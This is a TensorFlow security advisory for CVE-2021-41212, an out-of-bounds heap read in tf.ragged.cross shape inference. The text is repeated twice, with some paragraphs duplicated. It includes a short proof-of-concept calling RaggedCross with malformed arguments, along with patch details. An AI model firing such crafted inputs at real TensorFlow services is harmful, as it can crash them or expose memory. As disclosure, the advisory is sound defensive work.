CVE-2021-41212

TensorFlow is an open source platform for machine learning. In affected versions the shape inference code for tf.ragged.cross can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

TensorFlow is an open source platform for machine learning. In affected versions the shape inference code for tf.ragged.cross can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

Impact

The shape inference code for tf.ragged.cross can trigger a read outside of bounds of heap allocated array:

import tensorflow as tf

@tf.function
def test():
  y = tf.raw_ops.RaggedCross(ragged_values=[],
                             ragged_row_splits=[],
                             sparse_indices=[[5]],
                             sparse_values=[],
                             sparse_shape=[5],
                             dense_inputs=[['a']],
                             input_order='RD',
                             hashed_output=False,
                             num_buckets=5,
                             hash_key=2,
                             out_values_type=tf.string,
                             out_row_splits_type=tf.int64)
  return y

test()

Patches

We have patched the issue in GitHub commit fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8.

The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

TensorFlow is an open source platform for machine learning. In affected versions the shape inference code for tf.ragged.cross can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

TensorFlow is an open source platform for machine learning. In affected versions the shape inference code for tf.ragged.cross can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

Impact

The shape inference code for tf.ragged.cross can trigger a read outside of bounds of heap allocated array:

import tensorflow as tf

@tf.function
def test():
  y = tf.raw_ops.RaggedCross(ragged_values=[],
                             ragged_row_splits=[],
                             sparse_indices=[[5]],
                             sparse_values=[],
                             sparse_shape=[5],
                             dense_inputs=[['a']],
                             input_order='RD',
                             hashed_output=False,
                             num_buckets=5,
                             hash_key=2,
                             out_values_type=tf.string,
                             out_row_splits_type=tf.int64)
  return y

test()

Patches

We have patched the issue in GitHub commit fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8.

The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.